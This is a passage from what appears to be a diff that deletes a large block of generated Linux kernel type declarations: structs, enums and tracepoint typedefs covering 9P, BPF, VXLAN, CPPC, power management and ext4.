req_lock; - struct list_head req_list; - struct list_head unsent_req_list; - struct p9_req_t *rreq; - struct p9_req_t *wreq; - char tmp_buf[7]; - struct p9_fcall rc; - int wpos; - int wsize; - char *wbuf; - struct list_head poll_pending_link; - struct p9_poll_wait poll_wait[2]; - poll_table pt; - struct work_struct rq; - struct work_struct wq; - long unsigned int wsched; -}; - -struct p9_trans_fd { - struct file *rd; - struct file *wr; - struct p9_conn conn; -}; - -struct dynevent_arg_pair { - const char *lhs; - const char *rhs; - char operator; - char separator; -}; - -struct bpf_offload_dev { - const struct bpf_prog_offload_ops *ops; - struct list_head netdevs; - void *priv; -}; - -typedef struct ns_common *ns_get_path_helper_t(void *); - -struct bpf_offload_netdev { - struct rhash_head l; - struct net_device *netdev; - struct bpf_offload_dev *offdev; - struct list_head progs; - struct list_head maps; - struct list_head offdev_netdevs; -}; - -struct ns_get_path_bpf_prog_args { - struct bpf_prog *prog; - struct bpf_prog_info *info; -}; - -struct ns_get_path_bpf_map_args { - struct bpf_offloaded_map *offmap; - struct bpf_map_info *info; -}; - -enum bio_post_read_step { - STEP_INITIAL = 0, - STEP_DECRYPT = 1, - STEP_VERITY = 2, - STEP_MAX = 3, -}; - -struct bio_post_read_ctx { - struct bio *bio; - struct work_struct work; - unsigned int cur_step; - unsigned int enabled_steps; -}; - -struct fsverity_info; - -struct vfs_cap_data { - __le32 magic_etc; - struct { - __le32 permitted; - __le32 inheritable; - } data[2]; -}; - -struct vfs_ns_cap_data { - __le32 magic_etc; - struct { - __le32 permitted; - __le32 inheritable; - } data[2]; - __le32 rootid; -}; - -struct asymmetric_key_ids { - void *id[3]; -}; - -struct asymmetric_key_parser { - struct list_head link; - struct module *owner; - const char *name; - int (*parse)(struct key_preparsed_payload *); -}; - -enum blacklist_hash_type { - BLACKLIST_HASH_X509_TBS = 1, - BLACKLIST_HASH_BINARY = 2, -}; - -enum { - FB_BLANK_UNBLANK = 0, - FB_BLANK_NORMAL = 1, - FB_BLANK_VSYNC_SUSPEND = 2, - FB_BLANK_HSYNC_SUSPEND = 3, - FB_BLANK_POWERDOWN = 4, -}; - -struct fb_event { - struct fb_info *info; - void *data; -}; - -enum backlight_update_reason { - BACKLIGHT_UPDATE_HOTKEY = 0, - BACKLIGHT_UPDATE_SYSFS = 1, -}; - -enum backlight_type { - BACKLIGHT_RAW = 1, - BACKLIGHT_PLATFORM = 2, - BACKLIGHT_FIRMWARE = 3, - BACKLIGHT_TYPE_MAX = 4, -}; - -enum backlight_notification { - BACKLIGHT_REGISTERED = 0, - BACKLIGHT_UNREGISTERED = 1, -}; - -enum backlight_scale { - BACKLIGHT_SCALE_UNKNOWN = 0, - BACKLIGHT_SCALE_LINEAR = 1, - BACKLIGHT_SCALE_NON_LINEAR = 2, -}; - -struct backlight_device; - -struct backlight_ops { - unsigned int options; - int (*update_status)(struct backlight_device *); - int (*get_brightness)(struct backlight_device *); - int (*check_fb)(struct backlight_device *, struct fb_info *); -}; - -struct backlight_properties { - int brightness; - int max_brightness; - int power; - int fb_blank; - enum backlight_type type; - unsigned int state; - enum backlight_scale scale; -}; - -struct backlight_device { - struct backlight_properties props; - struct mutex update_lock; - struct mutex ops_lock; - const struct backlight_ops *ops; - struct notifier_block fb_notif; - struct list_head entry; - struct device dev; - bool fb_bl_on[32]; - int use_count; -}; - -enum { - AML_FIELD_ACCESS_ANY = 0, - AML_FIELD_ACCESS_BYTE = 1, - AML_FIELD_ACCESS_WORD = 2, - AML_FIELD_ACCESS_DWORD = 3, - AML_FIELD_ACCESS_QWORD = 4, - AML_FIELD_ACCESS_BUFFER = 5, -}; - -struct pnp_info_buffer { - char *buffer; - char *curr; - long unsigned int size; - long unsigned int len; - int stop; - int error; -}; - -typedef struct pnp_info_buffer pnp_info_buffer_t; - -struct exar8250_platform { - int (*rs485_config)(struct uart_port *, struct ktermios *, struct serial_rs485 *); - const struct serial_rs485 *rs485_supported; - int (*register_gpio)(struct pci_dev *, struct uart_8250_port *); - void (*unregister_gpio)(struct uart_8250_port *); -}; - -struct exar8250; - -struct exar8250_board { - unsigned int num_ports; - unsigned int reg_shift; - int (*setup)(struct exar8250 *, struct pci_dev *, struct uart_8250_port *, int); - void (*exit)(struct pci_dev *); -}; - -struct exar8250 { - unsigned int nr; - struct exar8250_board *board; - void *virt; - int line[0]; -}; - -struct xdp_frame_bulk { - int count; - void *xa; - void *q[16]; -}; - -struct xdp_mem_allocator { - struct xdp_mem_info mem; - union { - void *allocator; - struct page_pool *page_pool; - }; - struct rhash_head node; - struct callback_head rcu; -}; - -enum { - ETHTOOL_A_STATS_GRP_UNSPEC = 0, - ETHTOOL_A_STATS_GRP_PAD = 1, - ETHTOOL_A_STATS_GRP_ID = 2, - ETHTOOL_A_STATS_GRP_SS_ID = 3, - ETHTOOL_A_STATS_GRP_STAT = 4, - ETHTOOL_A_STATS_GRP_HIST_RX = 5, - ETHTOOL_A_STATS_GRP_HIST_TX = 6, - ETHTOOL_A_STATS_GRP_HIST_BKT_LOW = 7, - ETHTOOL_A_STATS_GRP_HIST_BKT_HI = 8, - ETHTOOL_A_STATS_GRP_HIST_VAL = 9, - __ETHTOOL_A_STATS_GRP_CNT = 10, - ETHTOOL_A_STATS_GRP_MAX = 4, -}; - -struct stats_req_info { - struct ethnl_req_info base; - long unsigned int stat_mask[1]; -}; - -struct stats_reply_data { - struct ethnl_reply_data base; - union { - struct { - struct ethtool_eth_phy_stats phy_stats; - struct ethtool_eth_mac_stats mac_stats; - struct ethtool_eth_ctrl_stats ctrl_stats; - struct ethtool_rmon_stats rmon_stats; - }; - struct { - struct ethtool_eth_phy_stats phy_stats; - struct ethtool_eth_mac_stats mac_stats; - struct ethtool_eth_ctrl_stats ctrl_stats; - struct ethtool_rmon_stats rmon_stats; - } stats; - }; - const struct ethtool_rmon_hist_range *rmon_ranges; -}; - -struct arpreq { - struct sockaddr arp_pa; - struct sockaddr arp_ha; - int arp_flags; - struct sockaddr arp_netmask; - char arp_dev[16]; -}; - -struct nduseroptmsg { - unsigned char nduseropt_family; - unsigned char nduseropt_pad1; - short unsigned int nduseropt_opts_len; - int nduseropt_ifindex; - __u8 nduseropt_icmp_type; - __u8 nduseropt_icmp_code; - short unsigned int nduseropt_pad2; - unsigned int nduseropt_pad3; -}; - -enum { - NDUSEROPT_UNSPEC = 0, - NDUSEROPT_SRCADDR = 1, - __NDUSEROPT_MAX = 2, -}; - -struct nd_msg { - struct icmp6hdr icmph; - struct in6_addr target; - __u8 opt[0]; -}; - -struct rs_msg { - struct icmp6hdr icmph; - __u8 opt[0]; -}; - -struct ra_msg { - struct icmp6hdr icmph; - __be32 reachable_time; - __be32 retrans_timer; -}; - -struct rd_msg { - struct icmp6hdr icmph; - struct in6_addr target; - struct in6_addr dest; - __u8 opt[0]; -}; - -struct route_info { - __u8 type; - __u8 length; - __u8 prefix_len; - __u8 reserved_l: 3; - __u8 route_pref: 2; - __u8 reserved_h: 3; - __be32 lifetime; - __u8 prefix[0]; -}; - -struct ghcb_save_area { - u8 reserved_1[203]; - u8 cpl; - u8 reserved_2[116]; - u64 xss; - u8 reserved_3[24]; - u64 dr7; - u8 reserved_4[16]; - u64 rip; - u8 reserved_5[88]; - u64 rsp; - u8 reserved_6[24]; - u64 rax; - u8 reserved_7[264]; - u64 rcx; - u64 rdx; - u64 rbx; - u8 reserved_8[8]; - u64 rbp; - u64 rsi; - u64 rdi; - u64 r8; - u64 r9; - u64 r10; - u64 r11; - u64 r12; - u64 r13; - u64 r14; - u64 r15; - u8 reserved_9[16]; - u64 sw_exit_code; - u64 sw_exit_info_1; - u64 sw_exit_info_2; - u64 sw_scratch; - u8 reserved_10[56]; - u64 xcr0; - u8 valid_bitmap[16]; - u64 x87_state_gpa; -}; - -struct ghcb { - struct ghcb_save_area save; - u8 reserved_save[1016]; - u8 shared_buffer[2032]; - u8 reserved_1[10]; - u16 protocol_version; - u32 ghcb_usage; -}; - -struct machine_ops { - void (*restart)(char *); - void (*halt)(); - void (*power_off)(); - void (*shutdown)(); - void (*crash_shutdown)(struct pt_regs *); - void (*emergency_restart)(); -}; - -enum { - REGION_INTERSECTS = 0, - REGION_DISJOINT = 1, - REGION_MIXED = 2, -}; - -struct resource_constraint { - resource_size_t min; - resource_size_t max; - resource_size_t align; - resource_size_t (*alignf)(void *, const struct resource *, resource_size_t, resource_size_t); - void *alignf_data; -}; - -enum { - MAX_IORES_LEVEL = 5, -}; - -struct region_devres { - struct resource *parent; - resource_size_t start; - resource_size_t n; -}; - -struct cfd_percpu { - call_single_data_t csd; -}; - -struct call_function_data { - struct cfd_percpu *pcpu; - cpumask_var_t cpumask; - cpumask_var_t cpumask_ipi; -}; - -struct smp_call_on_cpu_struct { - struct work_struct work; - struct completion done; - int (*func)(void *); - void *data; - int ret; - int cpu; -}; - -enum { - TASKSTATS_TYPE_UNSPEC = 0, - TASKSTATS_TYPE_PID = 1, - TASKSTATS_TYPE_TGID = 2, - TASKSTATS_TYPE_STATS = 3, - TASKSTATS_TYPE_AGGR_PID = 4, - TASKSTATS_TYPE_AGGR_TGID = 5, - TASKSTATS_TYPE_NULL = 6, - __TASKSTATS_TYPE_MAX = 7, -}; - -enum { - TASKSTATS_CMD_ATTR_UNSPEC = 0, - TASKSTATS_CMD_ATTR_PID = 1, - TASKSTATS_CMD_ATTR_TGID = 2, - TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 3, - TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 4, - __TASKSTATS_CMD_ATTR_MAX = 5, -}; - -enum { - CGROUPSTATS_CMD_UNSPEC = 3, - CGROUPSTATS_CMD_GET = 4, - CGROUPSTATS_CMD_NEW = 5, - __CGROUPSTATS_CMD_MAX = 6, -}; - -enum { - CGROUPSTATS_TYPE_UNSPEC = 0, - CGROUPSTATS_TYPE_CGROUP_STATS = 1, - __CGROUPSTATS_TYPE_MAX = 2, -}; - -enum { - CGROUPSTATS_CMD_ATTR_UNSPEC = 0, - CGROUPSTATS_CMD_ATTR_FD = 1, - __CGROUPSTATS_CMD_ATTR_MAX = 2, -}; - -struct listener { - struct list_head list; - pid_t pid; - char valid; -}; - -struct listener_list { - struct rw_semaphore sem; - struct list_head list; -}; - -enum actions { - REGISTER = 0, - DEREGISTER = 1, - CPU_DONT_CARE = 2, -}; - -struct trace_event_raw_tlb_flush { - struct trace_entry ent; - int reason; - long unsigned int pages; - char __data[0]; -}; - -struct trace_event_data_offsets_tlb_flush {}; - -typedef void (*btf_trace_tlb_flush)(void *, int, long unsigned int); - -struct trace_event_raw_mm_migrate_pages { - struct trace_entry ent; - long unsigned int succeeded; - long unsigned int failed; - long unsigned int thp_succeeded; - long unsigned int thp_failed; - long unsigned int thp_split; - enum migrate_mode mode; - int reason; - char __data[0]; -}; - -struct trace_event_raw_mm_migrate_pages_start { - struct trace_entry ent; - enum migrate_mode mode; - int reason; - char __data[0]; -}; - -struct trace_event_raw_migration_pte { - struct trace_entry ent; - long unsigned int addr; - long unsigned int pte; - int order; - char __data[0]; -}; - -struct trace_event_data_offsets_mm_migrate_pages {}; - -struct trace_event_data_offsets_mm_migrate_pages_start {}; - -struct trace_event_data_offsets_migration_pte {}; - -typedef void (*btf_trace_mm_migrate_pages)(void *, long unsigned int, long unsigned int, long unsigned int, long unsigned int, long unsigned int, enum migrate_mode, int); - -typedef void (*btf_trace_mm_migrate_pages_start)(void *, enum migrate_mode, int); - -typedef void (*btf_trace_set_migration_pte)(void *, long unsigned int, long unsigned int, int); - -typedef void (*btf_trace_remove_migration_pte)(void *, long unsigned int, long unsigned int, int); - -struct folio_referenced_arg { - int mapcount; - int referenced; - long unsigned int vm_flags; - struct mem_cgroup *memcg; -}; - -struct sha1_state { - u32 state[5]; - u64 count; - u8 buffer[64]; -}; - -typedef void sha1_block_fn(struct sha1_state *, const u8 *, int); - -struct dmt_videomode { - u32 dmt_id; - u32 std_2byte_code; - u32 cvt_3byte_code; - const struct fb_videomode *mode; -}; - -struct vcs_poll_data { - struct notifier_block notifier; - unsigned int cons_num; - int event; - wait_queue_head_t waitq; - struct fasync_struct *fasync; -}; - -struct component_ops { - int (*bind)(struct device *, struct device *, void *); - void (*unbind)(struct device *, struct device *, void *); -}; - -struct component_master_ops { - int (*bind)(struct device *); - void (*unbind)(struct device *); -}; - -struct component; - -struct component_match_array { - void *data; - int (*compare)(struct device *, void *); - int (*compare_typed)(struct device *, int, void *); - void (*release)(struct device *, void *); - struct component *component; - bool duplicate; -}; - -struct aggregate_device; - -struct component { - struct list_head node; - struct aggregate_device *adev; - bool bound; - const struct component_ops *ops; - int subcomponent; - struct device *dev; -}; - -struct component_match { - size_t alloc; - size_t num; - struct component_match_array *compare; -}; - -struct aggregate_device { - struct list_head node; - bool bound; - const struct component_master_ops *ops; - struct device *parent; - struct component_match *match; -}; - -enum { - IFLA_VXLAN_UNSPEC = 0, - IFLA_VXLAN_ID = 1, - IFLA_VXLAN_GROUP = 2, - IFLA_VXLAN_LINK = 3, - IFLA_VXLAN_LOCAL = 4, - IFLA_VXLAN_TTL = 5, - IFLA_VXLAN_TOS = 6, - IFLA_VXLAN_LEARNING = 7, - IFLA_VXLAN_AGEING = 8, - IFLA_VXLAN_LIMIT = 9, - IFLA_VXLAN_PORT_RANGE = 10, - IFLA_VXLAN_PROXY = 11, - IFLA_VXLAN_RSC = 12, - IFLA_VXLAN_L2MISS = 13, - IFLA_VXLAN_L3MISS = 14, - IFLA_VXLAN_PORT = 15, - IFLA_VXLAN_GROUP6 = 16, - IFLA_VXLAN_LOCAL6 = 17, - IFLA_VXLAN_UDP_CSUM = 18, - IFLA_VXLAN_UDP_ZERO_CSUM6_TX = 19, - IFLA_VXLAN_UDP_ZERO_CSUM6_RX = 20, - IFLA_VXLAN_REMCSUM_TX = 21, - IFLA_VXLAN_REMCSUM_RX = 22, - IFLA_VXLAN_GBP = 23, - IFLA_VXLAN_REMCSUM_NOPARTIAL = 24, - IFLA_VXLAN_COLLECT_METADATA = 25, - IFLA_VXLAN_LABEL = 26, - IFLA_VXLAN_GPE = 27, - IFLA_VXLAN_TTL_INHERIT = 28, - IFLA_VXLAN_DF = 29, - IFLA_VXLAN_VNIFILTER = 30, - __IFLA_VXLAN_MAX = 31, -}; - -struct ifla_vxlan_port_range { - __be16 low; - __be16 high; -}; - -struct gro_remcsum { - int offset; - __wsum delta; -}; - -enum switchdev_notifier_type { - SWITCHDEV_FDB_ADD_TO_BRIDGE = 1, - SWITCHDEV_FDB_DEL_TO_BRIDGE = 2, - SWITCHDEV_FDB_ADD_TO_DEVICE = 3, - SWITCHDEV_FDB_DEL_TO_DEVICE = 4, - SWITCHDEV_FDB_OFFLOADED = 5, - SWITCHDEV_FDB_FLUSH_TO_BRIDGE = 6, - SWITCHDEV_PORT_OBJ_ADD = 7, - SWITCHDEV_PORT_OBJ_DEL = 8, - SWITCHDEV_PORT_ATTR_SET = 9, - SWITCHDEV_VXLAN_FDB_ADD_TO_BRIDGE = 10, - SWITCHDEV_VXLAN_FDB_DEL_TO_BRIDGE = 11, - SWITCHDEV_VXLAN_FDB_ADD_TO_DEVICE = 12, - SWITCHDEV_VXLAN_FDB_DEL_TO_DEVICE = 13, - SWITCHDEV_VXLAN_FDB_OFFLOADED = 14, - SWITCHDEV_BRPORT_OFFLOADED = 15, - SWITCHDEV_BRPORT_UNOFFLOADED = 16, -}; - -struct switchdev_notifier_info { - struct net_device *dev; - struct netlink_ext_ack *extack; - const void *ctx; -}; - -struct vxlanhdr { - __be32 vx_flags; - __be32 vx_vni; -}; - -struct vxlanhdr_gbp { - u8 vx_flags; - u8 reserved_flags1: 3; - u8 policy_applied: 1; - u8 reserved_flags2: 2; - u8 dont_learn: 1; - u8 reserved_flags3: 1; - __be16 policy_id; - __be32 vx_vni; -}; - -struct vxlanhdr_gpe { - u8 oam_flag: 1; - u8 reserved_flags1: 1; - u8 np_applied: 1; - u8 instance_applied: 1; - u8 version: 2; - u8 reserved_flags2: 2; - u8 reserved_flags3; - u8 reserved_flags4; - u8 next_protocol; - __be32 vx_vni; -}; - -struct switchdev_notifier_vxlan_fdb_info { - struct switchdev_notifier_info info; - union vxlan_addr remote_ip; - __be16 remote_port; - __be32 remote_vni; - u32 remote_ifindex; - u8 eth_addr[6]; - __be32 vni; - bool offloaded; - bool added_by_user; -}; - -struct vxlan_fdb { - struct hlist_node hlist; - struct callback_head rcu; - long unsigned int updated; - long unsigned int used; - struct list_head remotes; - u8 eth_addr[6]; - u16 state; - __be32 vni; - u16 flags; - struct list_head nh_list; - struct nexthop *nh; - struct vxlan_dev *vdev; -}; - -enum { - BPFILTER_IPT_SO_SET_REPLACE = 64, - BPFILTER_IPT_SO_SET_ADD_COUNTERS = 65, - BPFILTER_IPT_SET_MAX = 66, -}; - -enum { - BPFILTER_IPT_SO_GET_INFO = 64, - BPFILTER_IPT_SO_GET_ENTRIES = 65, - BPFILTER_IPT_SO_GET_REVISION_MATCH = 66, - BPFILTER_IPT_SO_GET_REVISION_TARGET = 67, - BPFILTER_IPT_GET_MAX = 68, -}; - -enum mapping_status { - MAPPING_OK = 0, - MAPPING_INVALID = 1, - MAPPING_EMPTY = 2, - MAPPING_DATA_FIN = 3, - MAPPING_DUMMY = 4, - MAPPING_BAD_CSUM = 5, -}; - -enum what { - PROC_EVENT_NONE = 0, - PROC_EVENT_FORK = 1, - PROC_EVENT_EXEC = 2, - PROC_EVENT_UID = 4, - PROC_EVENT_GID = 64, - PROC_EVENT_SID = 128, - PROC_EVENT_PTRACE = 256, - PROC_EVENT_COMM = 512, - PROC_EVENT_COREDUMP = 1073741824, - PROC_EVENT_EXIT = 2147483648, -}; - -struct syscall_trace_enter { - struct trace_entry ent; - int nr; - long unsigned int args[0]; -}; - -struct syscall_trace_exit { - struct trace_entry ent; - int nr; - long int ret; -}; - -struct syscall_tp_t { - long long unsigned int regs; - long unsigned int syscall_nr; - long unsigned int ret; -}; - -struct syscall_tp_t___2 { - long long unsigned int regs; - long unsigned int syscall_nr; - long unsigned int args[6]; -}; - -struct bpf_cpumap_val { - __u32 qsize; - union { - int fd; - __u32 id; - } bpf_prog; -}; - -struct xdp_cpumap_stats { - unsigned int redirect; - unsigned int pass; - unsigned int drop; -}; - -struct bpf_cpu_map_entry; - -struct xdp_bulk_queue { - void *q[8]; - struct list_head flush_node; - struct bpf_cpu_map_entry *obj; - unsigned int count; -}; - -struct bpf_cpu_map; - -struct bpf_cpu_map_entry { - u32 cpu; - int map_id; - struct xdp_bulk_queue *bulkq; - struct bpf_cpu_map *cmap; - struct ptr_ring *queue; - struct task_struct *kthread; - struct bpf_cpumap_val value; - struct bpf_prog *prog; - atomic_t refcnt; - struct callback_head rcu; - struct work_struct kthread_stop_wq; -}; - -struct bpf_cpu_map { - struct bpf_map map; - struct bpf_cpu_map_entry **cpu_map; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -typedef short unsigned int __kernel_uid16_t; - -typedef short unsigned int __kernel_gid16_t; - -typedef __kernel_uid16_t uid16_t; - -typedef __kernel_gid16_t gid16_t; - -struct ext4_io_submit { - struct writeback_control *io_wbc; - struct bio *io_bio; - ext4_io_end_t *io_end; - sector_t io_next_block; -}; - -struct mpage_da_data { - struct inode *inode; - struct writeback_control *wbc; - long unsigned int first_page; - long unsigned int next_page; - long unsigned int last_page; - struct ext4_map_blocks map; - struct ext4_io_submit io_submit; - unsigned int do_map: 1; - unsigned int scanned_until_end: 1; -}; - -struct fscrypt_info; - -struct acpi_pcct_shared_memory { - u32 signature; - u16 command; - u16 status; -}; - -struct cpc_register_resource { - acpi_object_type type; - u64 *sys_mem_vaddr; - union { - struct cpc_reg reg; - u64 int_value; - } cpc_entry; -}; - -struct cpc_desc { - int num_entries; - int version; - int cpu_id; - int write_cmd_status; - int write_cmd_id; - struct cpc_register_resource cpc_regs[21]; - struct acpi_psd_package domain_info; - struct kobject kobj; -}; - -enum cppc_regs { - HIGHEST_PERF = 0, - NOMINAL_PERF = 1, - LOW_NON_LINEAR_PERF = 2, - LOWEST_PERF = 3, - GUARANTEED_PERF = 4, - DESIRED_PERF = 5, - MIN_PERF = 6, - MAX_PERF = 7, - PERF_REDUC_TOLERANCE = 8, - TIME_WINDOW = 9, - CTR_WRAP_TIME = 10, - REFERENCE_CTR = 11, - DELIVERED_CTR = 12, - PERF_LIMITED = 13, - ENABLE = 14, - AUTO_SEL_ENABLE = 15, - AUTO_ACT_WINDOW = 16, - ENERGY_PERF = 17, - REFERENCE_PERF = 18, - LOWEST_FREQ = 19, - NOMINAL_FREQ = 20, -}; - -struct cppc_perf_ctrls { - u32 max_perf; - u32 min_perf; - u32 desired_perf; -}; - -struct cppc_perf_fb_ctrs { - u64 reference; - u64 delivered; - u64 reference_perf; - u64 wraparound_time; -}; - -struct cppc_cpudata { - struct list_head node; - struct cppc_perf_caps perf_caps; - struct cppc_perf_ctrls perf_ctrls; - struct cppc_perf_fb_ctrs perf_fb_ctrs; - unsigned int shared_type; - cpumask_var_t shared_cpu_map; -}; - -struct cppc_pcc_data { - struct pcc_mbox_chan *pcc_channel; - void *pcc_comm_addr; - bool pcc_channel_acquired; - unsigned int deadline_us; - unsigned int pcc_mpar; - unsigned int pcc_mrtt; - unsigned int pcc_nominal; - bool pending_pcc_write_cmd; - bool platform_owns_pcc; - unsigned int pcc_write_cnt; - struct rw_semaphore pcc_lock; - wait_queue_head_t pcc_write_wait_q; - ktime_t last_cmd_cmpl_time; - ktime_t last_mpar_reset; - int mpar_count; - int refcount; -}; - -struct pps_event_time { - struct timespec64 ts_real; -}; - -struct hid_debug_list { - struct { - union { - struct __kfifo kfifo; - char *type; - const char *const_type; - char (*rectype)[0]; - char *ptr; - const char *ptr_const; - }; - char buf[0]; - } hid_debug_fifo; - struct fasync_struct *fasync; - struct hid_device *hdev; - struct list_head node; - struct mutex read_mutex; -}; - -struct hid_usage_entry { - unsigned int page; - unsigned int usage; - const char *description; -}; - -struct tcamsg { - unsigned char tca_family; - unsigned char tca__pad1; - short unsigned int tca__pad2; -}; - -enum { - TCA_ROOT_UNSPEC = 0, - TCA_ROOT_TAB = 1, - TCA_ROOT_FLAGS = 2, - TCA_ROOT_COUNT = 3, - TCA_ROOT_TIME_DELTA = 4, - __TCA_ROOT_MAX = 5, -}; - -struct tc_act_pernet_id { - struct list_head list; - unsigned int id; -}; - -struct bpf_sk_storage_diag; - -struct inet_diag_dump_data { - struct nlattr *req_nlas[4]; - struct bpf_sk_storage_diag *bpf_stg_diag; -}; - -struct mptcp_info { - __u8 mptcpi_subflows; - __u8 mptcpi_add_addr_signal; - __u8 mptcpi_add_addr_accepted; - __u8 mptcpi_subflows_max; - __u8 mptcpi_add_addr_signal_max; - __u8 mptcpi_add_addr_accepted_max; - __u32 mptcpi_flags; - __u32 mptcpi_token; - __u64 mptcpi_write_seq; - __u64 mptcpi_snd_una; - __u64 mptcpi_rcv_nxt; - __u8 mptcpi_local_addr_used; - __u8 mptcpi_local_addr_max; - __u8 mptcpi_csum_enabled; -}; - -struct mptcp_diag_ctx { - long int s_slot; - long int s_num; - unsigned int l_slot; - unsigned int l_num; -}; - -struct trace_event_raw_nmi_handler { - struct trace_entry ent; - void *handler; - s64 delta_ns; - int handled; - char __data[0]; -}; - -struct trace_event_data_offsets_nmi_handler {}; - -typedef void (*btf_trace_nmi_handler)(void *, void *, s64, int); - -struct nmi_desc { - raw_spinlock_t lock; - struct list_head head; -}; - -struct nmi_stats { - unsigned int normal; - unsigned int unknown; - unsigned int external; - unsigned int swallow; -}; - -enum nmi_states { - NMI_NOT_RUNNING = 0, - NMI_EXECUTING = 1, - NMI_LATCHED = 2, -}; - -struct map_range { - long unsigned int start; - long unsigned int end; - unsigned int page_size_mask; -}; - -struct semaphore_waiter { - struct list_head list; - struct task_struct *task; - bool up; -}; - -enum uts_proc { - UTS_PROC_ARCH = 0, - UTS_PROC_OSTYPE = 1, - UTS_PROC_OSRELEASE = 2, - UTS_PROC_VERSION = 3, - UTS_PROC_HOSTNAME = 4, - UTS_PROC_DOMAINNAME = 5, -}; - -struct trace_event_raw_cpu { - struct trace_entry ent; - u32 state; - u32 cpu_id; - char __data[0]; -}; - -struct trace_event_raw_cpu_idle_miss { - struct trace_entry ent; - u32 cpu_id; - u32 state; - bool below; - char __data[0]; -}; - -struct trace_event_raw_powernv_throttle { - struct trace_entry ent; - int chip_id; - u32 __data_loc_reason; - int pmax; - char __data[0]; -}; - -struct trace_event_raw_pstate_sample { - struct trace_entry ent; - u32 core_busy; - u32 scaled_busy; - u32 from; - u32 to; - u64 mperf; - u64 aperf; - u64 tsc; - u32 freq; - u32 io_boost; - char __data[0]; -}; - -struct trace_event_raw_cpu_frequency_limits { - struct trace_entry ent; - u32 min_freq; - u32 max_freq; - u32 cpu_id; - char __data[0]; -}; - -struct trace_event_raw_device_pm_callback_start { - struct trace_entry ent; - u32 __data_loc_device; - u32 __data_loc_driver; - u32 __data_loc_parent; - u32 __data_loc_pm_ops; - int event; - char __data[0]; -}; - -struct trace_event_raw_device_pm_callback_end { - struct trace_entry ent; - u32 __data_loc_device; - u32 __data_loc_driver; - int error; - char __data[0]; -}; - -struct trace_event_raw_suspend_resume { - struct trace_entry ent; - const char *action; - int val; - bool start; - char __data[0]; -}; - -struct trace_event_raw_wakeup_source { - struct trace_entry ent; - u32 __data_loc_name; - u64 state; - char __data[0]; -}; - -struct trace_event_raw_clock { - struct trace_entry ent; - u32 __data_loc_name; - u64 state; - u64 cpu_id; - char __data[0]; -}; - -struct trace_event_raw_power_domain { - struct trace_entry ent; - u32 __data_loc_name; - u64 state; - u64 cpu_id; - char __data[0]; -}; - -struct trace_event_raw_cpu_latency_qos_request { - struct trace_entry ent; - s32 value; - char __data[0]; -}; - -struct trace_event_raw_pm_qos_update { - struct trace_entry ent; - enum pm_qos_req_action action; - int prev_value; - int curr_value; - char __data[0]; -}; - -struct trace_event_raw_dev_pm_qos_request { - struct trace_entry ent; - u32 __data_loc_name; - enum dev_pm_qos_req_type type; - s32 new_value; - char __data[0]; -}; - -struct trace_event_raw_guest_halt_poll_ns { - struct trace_entry ent; - bool grow; - unsigned int new; - unsigned int old; - char __data[0]; -}; - -struct trace_event_data_offsets_cpu {}; - -struct trace_event_data_offsets_cpu_idle_miss {}; - -struct trace_event_data_offsets_powernv_throttle { - u32 reason; -}; - -struct trace_event_data_offsets_pstate_sample {}; - -struct trace_event_data_offsets_cpu_frequency_limits {}; - -struct trace_event_data_offsets_device_pm_callback_start { - u32 device; - u32 driver; - u32 parent; - u32 pm_ops; -}; - -struct trace_event_data_offsets_device_pm_callback_end { - u32 device; - u32 driver; -}; - -struct trace_event_data_offsets_suspend_resume {}; - -struct trace_event_data_offsets_wakeup_source { - u32 name; -}; - -struct trace_event_data_offsets_clock { - u32 name; -}; - -struct trace_event_data_offsets_power_domain { - u32 name; -}; - -struct trace_event_data_offsets_cpu_latency_qos_request {}; - -struct trace_event_data_offsets_pm_qos_update {}; - -struct trace_event_data_offsets_dev_pm_qos_request { - u32 name; -}; - -struct trace_event_data_offsets_guest_halt_poll_ns {}; - -typedef void (*btf_trace_cpu_idle)(void *, unsigned int, unsigned int); - -typedef void (*btf_trace_cpu_idle_miss)(void *, unsigned int, unsigned int, bool); - -typedef void (*btf_trace_powernv_throttle)(void *, int, const char *, int); - -typedef void (*btf_trace_pstate_sample)(void *, u32, u32, u32, u32, u64, u64, u64, u32, u32); - -typedef void (*btf_trace_cpu_frequency)(void *, unsigned int, unsigned int); - -typedef void (*btf_trace_cpu_frequency_limits)(void *, struct cpufreq_policy *); - -typedef void (*btf_trace_device_pm_callback_start)(void *, struct device *, const char *, int); - -typedef void (*btf_trace_device_pm_callback_end)(void *, struct device *, int); - -typedef void (*btf_trace_suspend_resume)(void *, const char *, int, bool); - -typedef void (*btf_trace_wakeup_source_activate)(void *, const char *, unsigned int); - -typedef void (*btf_trace_wakeup_source_deactivate)(void *, const char *, unsigned int); - -typedef void (*btf_trace_clock_enable)(void *, const char *, unsigned int, unsigned int); - -typedef void (*btf_trace_clock_disable)(void *, const char *, unsigned int, unsigned int); - -typedef void (*btf_trace_clock_set_rate)(void *, const char *, unsigned int, unsigned int); - -typedef void (*btf_trace_power_domain_target)(void *, const char *, unsigned int, unsigned int); - -typedef void (*btf_trace_pm_qos_add_request)(void *, s32); - -typedef void (*btf_trace_pm_qos_update_request)(void *, s32); - -typedef void (*btf_trace_pm_qos_remove_request)(void *, s32); - -typedef void (*btf_trace_pm_qos_update_target)(void *, enum pm_qos_req_action, int, int); - -typedef void (*btf_trace_pm_qos_update_flags)(void *, enum pm_qos_req_action, int, int); - -typedef void (*btf_trace_dev_pm_qos_add_request)(void *, const char *, enum dev_pm_qos_req_type, s32); - -typedef void (*btf_trace_dev_pm_qos_update_request)(void *, const char *, enum dev_pm_qos_req_type, s32); - -typedef void (*btf_trace_dev_pm_qos_remove_request)(void *, const char *, enum dev_pm_qos_req_type, s32); - -typedef void (*btf_trace_guest_halt_poll_ns)(void *, bool, unsigned int, unsigned int); - -enum vfs_get_super_keying { - vfs_get_single_super = 0, - vfs_get_single_reconf_super = 1, - vfs_get_keyed_super = 2, - vfs_get_independent_super = 3, -}; - -enum fsconfig_command { - FSCONFIG_SET_FLAG = 0, - FSCONFIG_SET_STRING = 1, - FSCONFIG_SET_BINARY = 2, - FSCONFIG_SET_PATH = 3, - FSCONFIG_SET_PATH_EMPTY = 4, - FSCONFIG_SET_FD = 5, - FSCONFIG_CMD_CREATE = 6, - FSCONFIG_CMD_RECONFIGURE = 7, -}; - -struct migrate_struct { - ext4_lblk_t first_block; - ext4_lblk_t last_block; - ext4_lblk_t curr_block; - ext4_fsblk_t 